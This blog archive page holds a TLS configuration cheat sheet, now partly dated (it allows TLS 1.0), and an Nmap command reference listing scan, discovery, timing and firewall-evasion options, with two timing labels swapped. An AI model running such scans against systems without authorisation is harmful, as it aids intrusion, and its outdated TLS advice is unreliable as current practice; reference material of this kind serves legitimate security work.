Never Ending Security

It starts all here

Category Archives: Cheatsheets

Transport Layer Protection Cheat Sheet


Introduction

This cheat sheet provides a simple model to follow when implementing transport layer protection for an application. Although the concept of SSL is known to many, the actual details and security specific decisions of implementation are often poorly understood and frequently result in insecure deployments. This article establishes clear rules which provide guidance on securely designing and configuring transport layer security for an application. This article is focused on the use of SSL/TLS between a web application and a web browser, but we also encourage the use of SSL/TLS or other network encryption technologies, such as VPN, on back end and other non-browser based connections.

Architectural Decision

An architectural decision must be made to determine the appropriate method to protect data when it is being transmitted. The most common options available to corporations are Virtual Private Networks (VPN) or a SSL/TLS model commonly used by web applications. The selected model is determined by the business needs of the particular organization. For example, a VPN connection may be the best design for a partnership between two companies that includes mutual access to a shared server over a variety of protocols. Conversely, an Internet facing enterprise web application would likely be best served by a SSL/TLS model.

This cheat sheet will focus on security considerations when the SSL/TLS model is selected. This is a frequently used model for publicly accessible web applications.

Providing Transport Layer Protection with SSL/TLS

Benefits

The primary benefit of transport layer security is the protection of web application data from unauthorized disclosure and modification when it is transmitted between clients (web browsers) and the web application server, and between the web application server and back end and other non-browser based enterprise components.

The server validation component of TLS provides authentication of the server to the client. If configured to require client side certificates, TLS can also play a role in client authentication to the server. However, in practice client side certificates are not often used in lieu of username and password based authentication models for clients.

TLS also provides two additional benefits that are commonly overlooked; integrity guarantees and replay prevention. A TLS stream of communication contains built-in controls to prevent tampering with any portion of the encrypted data. In addition, controls are also built-in to prevent a captured stream of TLS data from being replayed at a later time.

It should be noted that TLS provides the above guarantees to data during transmission. TLS does not offer any of these security benefits to data that is at rest. Therefore appropriate security controls must be added to protect data while at rest within the application or within data stores.

Basic Requirements

The basic requirements for using TLS are: access to a Public Key Infrastructure (PKI) in order to obtain certificates, access to a directory or an Online Certificate Status Protocol (OCSP) responder in order to check certificate revocation status, and agreement/ability to support a minimum configuration of protocol versions and protocol options for each version.

SSL vs. TLS

The terms, Secure Socket Layer (SSL) and Transport Layer Security (TLS) are often used interchangeably. In fact, SSL v3.1 is equivalent to TLS v1.0. However, different versions of SSL and TLS are supported by modern web browsers and by most modern web frameworks and platforms. For the purposes of this cheat sheet we will refer to the technology generically as TLS. Recommendations regarding the use of SSL and TLS protocols, as well as browser support for TLS, can be found in the rule below titled “Only Support Strong Protocols”.

Cryptomodule Parts and Operation

When to Use a FIPS 140-2 Validated Cryptomodule

If the web application may be the target of determined attackers (a common threat model for Internet accessible applications handling sensitive data), it is strongly advised to use TLS services that are provided by FIPS 140-2 validated cryptomodules.

A cryptomodule, whether it is a software library or a hardware device, basically consists of three parts:

  • Components that implement cryptographic algorithms (symmetric and asymmetric algorithms, hash algorithms, random number generator algorithms, and message authentication code algorithms)
  • Components that call and manage cryptographic functions (inputs and outputs include cryptographic keys and so-called critical security parameters)
  • A physical container around the components that implement cryptographic algorithms and the components that call and manage cryptographic functions

The security of a cryptomodule and its services (and the web applications that call the cryptomodule) depend on the correct implementation and integration of each of these three parts. In addition, the cryptomodule must be used and accessed securely. The includes consideration for:

  • Calling and managing cryptographic functions
  • Securely Handling inputs and output
  • Ensuring the secure construction of the physical container around the components

In order to leverage the benefits of TLS it is important to use a TLS service (e.g. library, web framework, web application server) which has been FIPS 140-2 validated. In addition, the cryptomodule must be installed, configured and operated in either an approved or an allowed mode to provide a high degree of certainty that the FIPS 140-2 validated cryptomodule is providing the expected security services in the expected manner.

If the system is legally required to use FIPS 140-2 encryption (e.g., owned or operated by or on behalf of the U.S. Government) then TLS must be used and SSL disabled. Details on why SSL is unacceptable are described in Section 7.1 of Implementation Guidance for FIPS PUB 140-2 and the Cryptographic Module Validation Program.

Further reading on the use of TLS to protect highly sensitive data against determined attackers can be viewed inSP800-52 Guidelines for the Selection and Use of Transport Layer Security (TLS) Implementations

Secure Server Design

Rule – Use TLS for All Login Pages and All Authenticated Pages

The login page and all subsequent authenticated pages must be exclusively accessed over TLS. The initial login page, referred to as the “login landing page”, must be served over TLS. Failure to utilize TLS for the login landing page allows an attacker to modify the login form action, causing the user’s credentials to be posted to an arbitrary location. Failure to utilize TLS for authenticated pages after the login enables an attacker to view the unencrypted session ID and compromise the user’s authenticated session.

Rule – Use TLS on Any Networks (External and Internal) Transmitting Sensitive Data

All networks, both external and internal, which transmit sensitive data must utilize TLS or an equivalent transport layer security mechanism. It is not sufficient to claim that access to the internal network is “restricted to employees”. Numerous recent data compromises have shown that the internal network can be breached by attackers. In these attacks, sniffers have been installed to access unencrypted sensitive data sent on the internal network.

Rule – Do Not Provide Non-TLS Pages for Secure Content

All pages which are available over TLS must not be available over a non-TLS connection. A user may inadvertently bookmark or manually type a URL to a HTTP page (e.g. http://example.com/myaccount) within the authenticated portion of the application. If this request is processed by the application then the response, and any sensitive data, would be returned to the user over the clear text HTTP.

Rule – Do Not Mix TLS and Non-TLS Content

A page that is available over TLS must be comprised completely of content which is transmitted over TLS. The page must not contain any content that is transmitted over unencrypted HTTP. This includes content from unrelated third party sites.

An attacker could intercept any of the data transmitted over the unencrypted HTTP and inject malicious content into the user’s page. This malicious content would be included in the page even if the overall page is served over TLS. In addition, an attacker could steal the user’s session cookie that is transmitted with any non-TLS requests. This is possible if the cookie’s ‘secure’ flag is not set. See the rule ‘Use “Secure” Cookie Flag’

Rule – Use “Secure” Cookie Flag

The “Secure” flag must be set for all user cookies. Failure to use the “secure” flag enables an attacker to access the session cookie by tricking the user’s browser into submitting a request to an unencrypted page on the site. This attack is possible even if the server is not configured to offer HTTP content since the attacker is monitoring the requests and does not care if the server responds with a 404 or doesn’t respond at all.

Rule – Keep Sensitive Data Out of the URL

Sensitive data must not be transmitted via URL arguments. A more appropriate place is to store sensitive data in a server side repository or within the user’s session. When using TLS the URL arguments and values are encrypted during transit. However, there are two methods that the URL arguments and values could be exposed.

  1. The entire URL is cached within the local user’s browser history. This may expose sensitive data to any other user of the workstation.
  2. The entire URL is exposed if the user clicks on a link to another HTTPS site. This may expose sensitive data within the referral field to the third party site. This exposure occurs in most browsers and will only occur on transitions between two TLS sites.

For example, a user following a link on https://example.com which leads to https://someOtherexample.com would expose the full URL of https://example.com (including URL arguments) in the referral header (within most browsers). This would not be the case if the user followed a link on https://example.com to http://someHTTPexample.com

Rule – Prevent Caching of Sensitive Data

The TLS protocol provides confidentiality only for data in transit but it does not help with potential data leakage issues at the client or intermediary proxies. As a result, it is frequently prudent to instruct these nodes not to cache or persist sensitive data. One option is to add anticaching headers to relevant HTTP responses, (for example, “Cache-Control: no-cache, no-store” and “Expires: 0” for coverage of many modern browsers as of 2013). For compatibility with HTTP/1.0 (i.e., when user agents are really old or the webserver works around quirks by forcing HTTP/1.0) the response should also include the header “Pragma: no-cache”. More information is available in HTTP 1.1 RFC 2616, section 14.9.

Rule – Use HTTP Strict Transport Security

See: HTTP Strict Transport Security

Rule – Use Public Key Pinning

See: Certificate and Public Key Pinning

Server Certificate

Note: If using a FIPS 140-2 cryptomodule disregard the following rules and defer to the recommended configuration for the particular cryptomodule. Nevertheless we recommend to use this rules to audit your configuration.

Rule – Use Strong Keys & Protect Them

The private key used to generate the cipher key must be sufficiently strong for the anticipated lifetime of the private key and corresponding certificate. The current best practice is to select a key size of at least 2048 bits. Additional information on key lifetimes and comparable key strengths can be found in [1], NIST SP 800-57. In addition, the private key must be stored in a location that is protected from unauthorized access.

Rule – Use a Certificate That Supports Required Domain Names

A user should never be presented with a certificate error, including prompts to reconcile domain or hostname mismatches, or expired certificates. If the application is available at both https://www.example.com andhttps://example.com then an appropriate certificate, or certificates, must be presented to accommodate the situation. The presence of certificate errors desensitizes users to TLS error messages and increases the possibility an attacker could launch a convincing phishing or man-in-the-middle attack.

For example, consider a web application accessible at https://abc.example.com and https://xyz.example.com. One certificate should be acquired for the host or server abc.example.com; and a second certificate for host or serverxyz.example.com. In both cases, the hostname would be present in the Subject’s Common Name (CN).

Alternatively, the Subject Alternate Names (SANs) can be used to provide a specific listing of multiple names where the certificate is valid. In the example above, the certificate could list the Subject’s CN as example.com, and list two SANs:abc.example.com and xyz.example.com. These certificates are sometimes referred to as “multiple domain certificates”.

Rule – Use Fully Qualified Names in Certificates

Use fully qualified names in the DNS name field, and do not use unqualifed names (e.g., ‘www’), local names (e.g., ‘localhost’), or private IP addresses (e.g., 192.168.1.1) in the DNS name field. Unqualifed names, local names, or private IP addresses violate the certificate specification.

Rule – Do Not Use Wildcard Certificates

You should refrain from using wildcard certificates. Though they are expedient at circumventing annoying user prompts, they also violate the principal of least privilege and asks the user to trust all machines, including developer’s machines, the secretary’s machine in the lobby and the sign-in kiosk. Obtaining access to the private key is left as an exercise for the attacker, but its made much easier when stored on the file system unprotected.

Statistics gathered by Qualys for Internet SSL Survey 2010 indicate wildcard certificates have a 4.4% share, so the practice is not standard for public facing hosts. Finally, wildcard certificates violate EV Certificate Guidelines.

Rule – Do Not Use RFC 1918 Addresses in Certificates

Certificates should not use private addresses. RFC 1918 is Address Allocation for Private Internets. Private addresses are Internet Assigned Numbers Authority (IANA) reserved and include 192.168/16, 172.16/12, and 10/8.

Certificates issued with private addresses violate EV Certificate Guidelines. In addition, Peter Gutmann writes in inEngineering Security: “This one is particularly troublesome because, in combination with the router-compromise attacks… and …OSCP-defeating measures, it allows an attacker to spoof any EV-certificate site.”

Rule – Use an Appropriate Certification Authority for the Application’s User Base

An application user must never be presented with a warning that the certificate was signed by an unknown or untrusted authority. The application’s user population must have access to the public certificate of the certification authority which issued the server’s certificate. For Internet accessible websites, the most effective method of achieving this goal is to purchase the TLS certificate from a recognize certification authority. Popular Internet browsers already contain the public certificates of these recognized certification authorities.

Internal applications with a limited user population can use an internal certification authority provided its public certificate is securely distributed to all users. However, remember that all certificates issued by this certification authority will be trusted by the users. Therefore, utilize controls to protect the private key and ensure that only authorized individuals have the ability to sign certificates.

The use of self signed certificates is never acceptable. Self signed certificates negate the benefit of end-point authentication and also significantly decrease the ability for an individual to detect a man-in-the-middle attack.

Rule – Always Provide All Needed Certificates

Clients attempt to solve the problem of identifying a server or host using PKI and X509 certificate. When a user receives a server or host’s certificate, the certificate must be validated back to a trusted root certification authority. This is known as path validation.

There can be one or more intermediate certificates in between the end-entity (server or host) certificate and root certificate. In addition to validating both endpoints, the user will also have to validate all intermediate certificates. Validating all intermediate certificates can be tricky because the user may not have them locally. This is a well-known PKI issue called the “Which Directory?” problem.

To avoid the “Which Directory?” problem, a server should provide the user with all required certificates used in a path validation.

Rule – Be aware of and have a plan for the SHA-1 deprecation plan

In order to avoid presenting end users with progressive certificate warnings, organizations must proactively address the browser vendor’s upcoming SHA-1 deprecation plans. The Google Chrome plan is probably the most specific and aggressive at this point: Gradually sunsetting SHA-1

If your organization has no SHA256 compatibility issues then it may be appropriate to move your site to a SHA256 signed certificate/chain. If there are, or may be, issues – you should ensure that your SHA-1 certificates expire before 1/1/2017.

Server Protocol and Cipher Configuration

Note: If using a FIPS 140-2 cryptomodule disregard the following rules and defer to the recommended configuration for the particular cryptomodule. Nevertheless we recommend to use this rules to audit your configuration.

Rule – Only Support Strong Protocols

SSL/TLS is a collection of protocols. Weaknesses have been identified with earlier SSL protocols, including SSLv2and SSLv3 hence SSL versions 1, 2 and 3 should not longer be used. The best practice for transport layer protection is to only provide support for the TLS protocols – TLS1.0, TLS 1.1 and TLS 1.2. This configuration will provide maximum protection against skilled and determined attackers and is appropriate for applications handling sensitive data or performing critical operations.

Nearly all modern browsers support at least TLS 1.0. As of February 2013, contemporary browsers (Chrome v20+, IE v8+, Opera v10+, and Safari v5+) support TLS 1.1 and TLS 1.2. You should provide support for TLS 1.1 and TLS 1.2 to accommodate clients which support the protocols. The client and server (usually) negotiate the best protocol, that is supported on both sides.

TLS 1.0 is still widely used as ‘best’ protocol by a lot of browsers, that are not patched to the very latest version. It suffers CBC Chaining attacks and Padding Oracle attacks. TLSv1.0 should only be used only after risk analysis and acceptance.

Under no circumstances neither SSLv2 nor SSLv3 should be enabled as a protocol selection:

Rule – Prefer Ephemeral Key Exchanges

Ephemeral key exchanges are based on Diffie-Hellman and use per-session, temporary keys during the initial SSL/TLS handshake. They provide perfect forward secrecy (PFS), which means a compromise of the server’s long term signing key does not compromise the confidentiality of past session (see following rule). When the server uses an ephemeral key, the server will sign the temporary key with its long term key (the long term key is the customary key available in its certificate).

Use cryptographic parameters (like DH-parameter) that use a secure length that match to the supported keylength of your certificate (>=2048 bits or equivalent Elliptic Curves). As some middleware had some issues with this, upgrade to the latest version. Note: There are some legacy browsers or old Java versions that are not capable to cope with DH-Params >1024 bits, please read the following rule how this can be solved.

Do not use standardized DH-parameters like they are defined by RFCs 2409, 3526, or 5114. Generate your individual DH-parameters to get unique prime numbers (this may take a long time):

openssl dhparam 2048 -out dhparam2048.pem

Set the path to use this parameter file, e.g. when using Apache:

SSLOpenSSLConfCmd DHParameters <path to dhparam2048.pem>

If you have a server farm and are providing forward secrecy, then you might have to disable session resumption. For example, Apache writes the session id’s and master secrets to disk so all servers in the farm can participate in resuming a session (there is currently no in-memory mechanism to achieve the sharing). Writing the session id and master secret to disk undermines forward secrecy.

Rule – Only Support Strong Cryptographic Ciphers

Each protocol (TLSv1.0, TLSv1.1, TLSv1.2, etc) provides cipher suites. As of TLS 1.2, there is support for over 300 suites (320+ and counting), including national vanity cipher suites. The strength of the encryption used within a TLS session is determined by the encryption cipher negotiated between the server and the browser. In order to ensure that only strong cryptographic ciphers are selected the server must be modified to disable the use of weak ciphers and to configure the ciphers in an adequate order. It is recommended to configure the server to only support strong ciphers and to use sufficiently large key sizes. In general, the following should be observed when selecting CipherSuites:

  • Use the very latest recommendations, they may be volantile these days
  • Setup your Policy to get a Whitelist for recommended Ciphers, e.g.:
    • Activate to set the Cipher Order by the Server
    • Highest Priority for Ciphers that support ‘Forward Secrecy’ (-> Support ephemeral Diffie-Hellman key exchange, see rule above) [2]
    • Favor DHE over ECDHE (and monitor the CPU usage, see Notes below), ECDHE lacks now of really reliable Elliptic Curves, see discussion about secp{224,256,384,521}r1 and secp256k1, cf. [3], [4]. The solution might be to use Brainpool Curves [German], defined for TLS in RFC 7027, or Edwards Curves. The most promising candidates for the latter are ‘Curve25519’ and Ed448-Goldilocks (see DRAFT-irtf-cfrg-curves), that is not yet defined for TLS, cf. IANA
    • Use RSA-Keys (no DSA/DSS: they get very weak, if a bad entropy source is used during signing, cf. [5], [6])
    • Favor GCM over CBC regardless of the cipher size. In other words, use Authenticated Encryption with Associated Data (AEAD), e.g. AES-GCM, AES-CCM.
    • Watch also for Stream Ciphers which XOR the key stream with plaintext (such as AES/CTR mode)
    • Priorize the ciphers by the sizes of the Cipher and the MAC
    • Use SHA1 or above for digests, prefer SHA2 (or equivalent)
    • Disable weak ciphers (which is implicitly done by this whitelist) without disabling legacy browsers and bots that have to be supported (find the best compromise), actually the cipher TLS_RSA_WITH_3DES_EDE_CBC_SHA (0xa) does this job.
      • Disable cipher suites that do not offer encryption (eNULL, NULL)
      • Disable cipher suites that do not offer authentication (aNULL). aNULL includes anonymous cipher suites ADH (Anonymous Diffie-Hellman) and AECDH (Anonymous Elliptic Curve Diffie Hellman).
      • Disable export level ciphers (EXP, eg. ciphers containing DES)
      • Disable key sizes smaller than 128 bits for encrypting payload traffic (see BSI: TR-02102 Part 2 (German))
      • Disable the use of MD5 as a hashing mechanism for payload traffic
      • Disable the use of IDEA Cipher Suites (see [7])
      • Disable RC4 cipher suites (see [8], [9])
    • Ciphers should be usable for DH-Pamameters >= 2048 bits, without blocking legacy browsers (The cipher ‘DHE-RSA-AES128-SHA’ is suppressed as some browsers like to use it but are not capable to cope with DH-Params > 1024 bits.)
  • Define a Cipher String that works with different Versions of your encryption tool, like openssl
  • Verify your cipher string

openssl ciphers -v “EDH+aRSA+AESGCM:EDH+aRSA+AES:DHE-RSA-AES256-SHA:EECDH+aRSA+AESGCM:EECDH+aRSA+AES:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:RSA+AESGCM:RSA+AES+SHA:DES-CBC3-SHA:-DHE-RSA-AES128-SHA”
#add optionally ‘:!aNULL:!eNULL:!LOW:!MD5:!EXP:!PSK:!DSS:!RC4:!SEED:!ECDSA:!ADH:!IDEA’ to protect older Versions of OpenSSL
#you may use openssl ciphers -V “…” for openssl >= 1.0.1:

0x00,0x9F - DHE-RSA-AES256-GCM-SHA384   TLSv1.2 Kx=DH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
0x00,0x9E - DHE-RSA-AES128-GCM-SHA256   TLSv1.2 Kx=DH     Au=RSA  Enc=AESGCM(128) Mac=AEAD
0x00,0x6B - DHE-RSA-AES256-SHA256       TLSv1.2 Kx=DH     Au=RSA  Enc=AES(256)    Mac=SHA256
0x00,0x39 - DHE-RSA-AES256-SHA          SSLv3   Kx=DH     Au=RSA  Enc=AES(256)    Mac=SHA1
0x00,0x67 - DHE-RSA-AES128-SHA256       TLSv1.2 Kx=DH     Au=RSA  Enc=AES(128)    Mac=SHA256
0xC0,0x30 - ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH   Au=RSA  Enc=AESGCM(256) Mac=AEAD
0xC0,0x2F - ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH   Au=RSA  Enc=AESGCM(128) Mac=AEAD
0xC0,0x28 - ECDHE-RSA-AES256-SHA384     TLSv1.2 Kx=ECDH   Au=RSA  Enc=AES(256)    Mac=SHA384
0xC0,0x14 - ECDHE-RSA-AES256-SHA        SSLv3   Kx=ECDH   Au=RSA  Enc=AES(256)    Mac=SHA1
0xC0,0x27 - ECDHE-RSA-AES128-SHA256     TLSv1.2 Kx=ECDH   Au=RSA  Enc=AES(128)    Mac=SHA256
0xC0,0x13 - ECDHE-RSA-AES128-SHA        SSLv3   Kx=ECDH   Au=RSA  Enc=AES(128)    Mac=SHA1
0x00,0x9D - AES256-GCM-SHA384           TLSv1.2 Kx=RSA    Au=RSA  Enc=AESGCM(256) Mac=AEAD
0x00,0x9C - AES128-GCM-SHA256           TLSv1.2 Kx=RSA    Au=RSA  Enc=AESGCM(128) Mac=AEAD
0x00,0x35 - AES256-SHA                  SSLv3   Kx=RSA    Au=RSA  Enc=AES(256)    Mac=SHA1
0x00,0x2F - AES128-SHA                  SSLv3   Kx=RSA    Au=RSA  Enc=AES(128)    Mac=SHA1
0x00,0x0A - DES-CBC3-SHA                SSLv3   Kx=RSA    Au=RSA  Enc=3DES(168)   Mac=SHA1

Notes:

  • According to my researches the most common browsers should be supported with this setting, too (see also SSL Labs: SSL Server Test -> SSL Report -> Handshake Simulation).
  • Monitor the performance of your server, e.g. the TLS handshake with DHE hinders the CPU abt 2.4 times more than ECDHE, cf. Vincent Bernat, 2011, nmav’s Blog, 2011.
  • Use of Ephemeral Diffie-Hellman key exchange will protect confidentiality of the transmitted plaintext data even if the corresponding RSA or DSS server private key got compromised. An attacker would have to perform active man-in-the-middle attack at the time of the key exchange to be able to extract the transmitted plaintext. All modern browsers support this key exchange with the notable exception of Internet Explorer prior to Windows Vista.

Additional information can be obtained within the TLS 1.2 RFC 5246, SSL Labs: ‘SSL/TLS Deployment Best Practices’, BSI: ‘TR-02102 Part 2 (German)’, ENISA: ‘Algorithms, Key Sizes and Parameters Report’, RFC 7525: Recommendations for Secure Use of Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS)and FIPS 140-2 IG.

Rule – Support TLS-PSK and TLS-SRP for Mutual Authentication

When using a shared secret or password offer TLS-PSK (Pre-Shared Key) or TLS-SRP (Secure Remote Password), which are known as Password Authenticated Key Exchange (PAKEs). TLS-PSK and TLS-SRP properly bind the channel, which refers to the cryptographic binding between the outer tunnel and the inner authentication protocol. IANA currently reserves 79 PSK cipehr suites and 9 SRP cipher suites.

Basic authentication places the user’s password on the wire in the plain text after a server authenticates itself. Basic authentication only provides unilateral authentication. In contrast, both TLS-PSK and TLS-SRP provide mutual authentication, meaning each party proves it knows the password without placing the password on the wire in the plain text.

Finally, using a PAKE removes the need to trust an outside party, such as a Certification Authority (CA).

Rule – Only Support Secure Renegotiations

A design weakness in TLS, identified as CVE-2009-3555, allows an attacker to inject a plaintext of his choice into a TLS session of a victim. In the HTTPS context the attacker might be able to inject his own HTTP requests on behalf of the victim. The issue can be mitigated either by disabling support for TLS renegotiations or by supporting only renegotiations compliant with RFC 5746. All modern browsers have been updated to comply with this RFC.

Rule – Disable Compression

Compression Ratio Info-leak Made Easy (CRIME) is an exploit against the data compression scheme used by the TLS and SPDY protocols. The exploit allows an adversary to recover user authentication cookies from HTTPS. The recovered cookie can be subsequently used for session hijacking attacks.

Test your overall TLS/SSL setup and your Certificate

This section shows the most common references only. For more tools and such, please refer to Tools.

Client (Browser) Configuration

The validation procedures to ensure that a certificate is valid are complex and difficult to correctly perform. In a typical web application model, these checks will be performed by the client’s web browser in accordance with local browser settings and are out of the control of the application. However, these items do need to be addressed in the following scenarios:

  • The application server establishes connections to other applications over TLS for purposes such as web services or any exchange of data
  • A thick client application is connecting to a server via TLS

In these situations extensive certificate validation checks must occur in order to establish the validity of the certificate. Consult the following resources to assist in the design and testing of this functionality. The NIST PKI testing site includes a full test suite of certificates and expected outcomes of the test cases.

As specified in the above guidance, if the certificate can not be validated for any reason then the connection between the client and server must be dropped. Any data exchanged over a connection where the certificate has not properly been validated could be exposed to unauthorized access or modification.

Additional Controls

Extended Validation Certificates

Extended validation certificates (EV Certificates) proffer an enhanced investigation by the issuer into the requesting party due to the industry’s race to the bottom. The purpose of EV certificates is to provide the user with greater assurance that the owner of the certificate is a verified legal entity for the site. Browsers with support for EV certificates distinguish an EV certificate in a variety of ways. Internet Explorer will color a portion of the URL in green, while Mozilla will add a green portion to the left of the URL indicating the company name.

High value websites should consider the use of EV certificates to enhance customer confidence in the certificate. It should also be noted that EV certificates do not provide any greater technical security for the TLS. The purpose of the EV certificate is to increase user confidence that the target site is indeed who it claims to be.

Client-Side Certificates

Client side certificates can be used with TLS to prove the identity of the client to the server. Referred to as “two-way TLS”, this configuration requires the client to provide their certificate to the server, in addition to the server providing their’s to the client. If client certificates are used, ensure that the same validation of the client certificate is performed by the server, as indicated for the validation of server certificates above. In addition, the server should be configured to drop the TLS connection if the client certificate cannot be verified or is not provided.

The use of client side certificates is relatively rare currently due to the complexities of certificate generation, safe distribution, client side configuration, certificate revocation and reissuance, and the fact that clients can only authenticate on machines where their client side certificate is installed. Such certificates are typically used for very high value connections that have small user populations.

Certificate and Public Key Pinning

Hybrid and native applications can take advantage of certificate and public key pinning. Pinning associates a host (for example, server) with an identity (for example, certificate or public key), and allows an application to leverage knowledge of the pre-existing relationship. At runtime, the application would inspect the certificate or public key received after connecting to the server. If the certificate or public key is expected, then the application would proceed as normal. If unexpected, the application would stop using the channel and close the connection since an adversary could control the channel or server.

Pinning still requires customary X509 checks, such as revocation, since CRLs and OCSP provides real time status information. Otherwise, an application could possibly (1) accept a known bad certificate; or (2) require an out-of-band update, which could result in a lengthy App Store approval.

Browser based applications are at a disadvantage since most browsers do not allow the user to leverage pre-existing relationships and a priori knowledge. In addition, Javascript and Websockets do not expose methods to for a web app to query the underlying secure connection information (such as the certificate or public key). It is noteworthy that Chromium based browsers perform pinning on selected sites, but the list is currently maintained by the vendor.

For more information, please see the Pinning Cheat Sheet.

Providing Transport Layer Protection for Back End and Other Connections

Although not the focus of this cheat sheet, it should be stressed that transport layer protection is necessary for back-end connections and any other connection where sensitive data is exchanged or where user identity is established. Failure to implement an effective and robust transport layer security will expose sensitive data and undermine the effectiveness of any authentication or access control mechanism.

Secure Internal Network Fallacy

The internal network of a corporation is not immune to attacks. Many recent high profile intrusions, where thousands of sensitive customer records were compromised, have been perpetrated by attackers that have gained internal network access and then used sniffers to capture unencrypted data as it traversed the internal network.

Tools

local/offline

Online

Related Articles

NMAP (Network Mapping) Cheat Sheet


Nmap (Network Mapping) Cheat Sheet. It is a very famous port scanner available for free. It is not just only a port scanner, it also do various jobs like banner grabbing, OS fingerprinting, Nmap script scanning, evading firewalls, etc. So we are gonna show you some important commands of Nmap.
Step 1: Open up the console and type nmap
It will give you the whole commands of Nmap. But we are here to understanding the commands so we should go ahead.

Here is the cheatsheet of NMAP.

BASIC SCANNING TECHNIQUES

Goal Command Example
Scan a Single Target nmap [target] nmap 192.168.0.1
Scan Multiple Targets nmap [target1, target2, etc] nmap 192.168.0.1 192.168.0.2
Scan a List of Targets nmap -iL [list.txt] nmap -iL targets.txt
Scan a Range of Hosts nmap [range of ip addresses] nmap 192.168.0.1-10
Scan an Entire Subnet nmap [ip address/cdir] nmap 192.168.0.1/24
Scan Random Hosts nmap -iR [number] nmap -iR 0
Excluding Targets from a Scan nmap [targets] –exclude [targets] nmap 192.168.0.1/24 –exclude 192.168.0.100, 192.168.0.200
Excluding Targets Using a List nmap [targets] –excludefile [list.txt] nmap 192.168.0.1/24 –excludefile notargets.txt
Perform an Aggressive Scan nmap -A [target] nmap -A 192.168.0.1
Scan an IPv6 Target nmap -6 [target] nmap -6 1aff:3c21:47b1:0000:0000:0000:0000:2afe


DISCOVERY OPTIONS
Goal Command Example
Perform a Ping Only Scan nmap -sP [target] nmap -sP 192.168.0.1
Don’t Ping nmap -PN [target] nmap -PN 192.168.0.1
TCP SYN Ping nmap -PS [target] nmap -PS 192.168.0.1
TCP ACK Ping nmap -PA [target] nmap -PA 192.168.0.1
UDP Ping nmap -PU [target] nmap -PU 192.168.0.1
SCTP INIT Ping nmap -PY [target] nmap -PY 192.168.0.1
ICMP Echo Ping nmap -PE [target] nmap -PE 192.168.0.1
ICMP Timestamp Ping nmap -PP [target] nmap -PP 192.168.0.1
ICMP Address Mask Ping nmap -PM [target] nmap -PM 192.168.0.1
IP Protocol Ping nmap -PO [target] nmap -PO 192.168.0.1
ARP Ping nmap -PR [target] nmap -PR 192.168.0.1
Traceroute nmap –traceroute [target] nmap –traceroute 192.168.0.1
Force Reverse DNS Resolution nmap -R [target] nmap -R 192.168.0.1
Disable Reverse DNS Resolution nmap -n [target] nmap -n 192.168.0.1
Alternative DNS Lookup nmap –system-dns [target] nmap –system-dns 192.168.0.1
Manually Specify DNS Server(s) nmap –dns-servers [servers] [target] nmap –dns-servers 201.56.212.54 192.168.0.1
Create a Host List nmap -sL [targets] nmap -sL 192.168.0.1/24


ADVANCED SCANNING OPTIONS

Goal Command Example
TCP SYN Scan nmap -sS [target] nmap -sS 192.168.0.1
TCP Connect Scan nmap -sT [target] nmap -sT 192.168.0.1
UDP Scan nmap -sU [target] nmap -sU 192.168.0.1
TCP NULL Scan nmap -sN [target] nmap -sN 192.168.0.1
TCP FIN Scan nmap -sF [target] nmap -sF 192.168.0.1
Xmas Scan nmap -sX [target] nmap -sX 192.168.0.1
TCP ACK Scan nmap -sA [target] nmap -sA 192.168.0.1
Custom TCP Scan nmap –scanflags [flags] [target] nmap –scanflags SYNFIN 192.168.0.1
IP Protocol Scan nmap -sO [target] nmap -sO 192.168.0.1
Send Raw Ethernet Packets nmap –send-eth [target] nmap –send-eth 192.168.0.1
Send IP Packets nmap –send-ip [target] nmap –send-ip 192.168.0.1


PORT SCANNING OPTIONS

Goal Command Example
Perform a Fast Scan nmap -F [target] nmap -F 192.168.0.1
Scan Specific Ports nmap -p [port(s)] [target] nmap -p 21-25,80,139,8080 192.168.1.1
Scan Ports by Name nmap -p [port name(s)] [target] nmap -p ftp,http* 192.168.0.1
Scan Ports by Protocol nmap -sU -sT -p U:[ports],T:[ports] [target] nmap -sU -sT -p U:53,111,137,T:21-25,80,139,8080 192.168.0.1
Scan All Ports nmap -p ‘*’ [target] nmap -p ‘*’ 192.168.0.1
Scan Top Ports nmap –top-ports [number] [target] nmap –top-ports 10 192.168.0.1
Perform a Sequential Port Scan nmap -r [target] nmap -r 192.168.0.1


VERSION DETECTION

Goal Command Example
Operating System Detection nmap -O [target] nmap -O 192.168.0.1
Submit TCP/IP Fingerprints http://www.nmap.org/submit/
Attempt to Guess an Unknown OS nmap -O –osscan-guess [target] nmap -O –osscan-guess 192.168.0.1
Service Version Detection nmap -sV [target] nmap -sV 192.168.0.1
Troubleshooting Version Scans nmap -sV –version-trace [target] nmap -sV –version-trace 192.168.0.1
Perform a RPC Scan nmap -sR [target] nmap -sR 192.168.0.1


TIMING OPTIONS

Goal Command Example
Timing Templates nmap -T[0-5] [target] nmap -T3 192.168.0.1
Set the Packet TTL nmap –ttl [time] [target] nmap –ttl 64 192.168.0.1
Minimum # of Parallel Operations nmap –min-parallelism [number] [target] nmap –min-parallelism 10 192.168.0.1
Maximum # of Parallel Operations nmap –max-parallelism [number] [target] nmap –max-parallelism 1 192.168.0.1
Minimum Host Group Size nmap –min-hostgroup [number] [targets] nmap –min-hostgroup 50 192.168.0.1
Maximum Host Group Size nmap –max-hostgroup [number] [targets] nmap –max-hostgroup 1 192.168.0.1
Maximum RTT Timeout nmap –initial-rtt-timeout [time] [target] nmap –initial-rtt-timeout 100ms 192.168.0.1
Initial RTT Timeout nmap –max-rtt-timeout [TTL] [target] nmap –max-rtt-timeout 100ms 192.168.0.1
Maximum Retries nmap –max-retries [number] [target] nmap –max-retries 10 192.168.0.1
Host Timeout nmap –host-timeout [time] [target] nmap –host-timeout 30m 192.168.0.1
Minimum Scan Delay nmap –scan-delay [time] [target] nmap –scan-delay 1s 192.168.0.1
Maximum Scan Delay nmap –max-scan-delay [time] [target] nmap –max-scan-delay 10s 192.168.0.1
Minimum Packet Rate nmap –min-rate [number] [target] nmap –min-rate 50 192.168.0.1
Maximum Packet Rate nmap –max-rate [number] [target] nmap –max-rate 100 192.168.0.1
Defeat Reset Rate Limits nmap –defeat-rst-ratelimit [target] nmap –defeat-rst-ratelimit 192.168.0.1


FIREWALL EVASION TECHNIQUES

Goal Command Example
Fragment Packets nmap -f [target] nmap -f 192.168.0.1
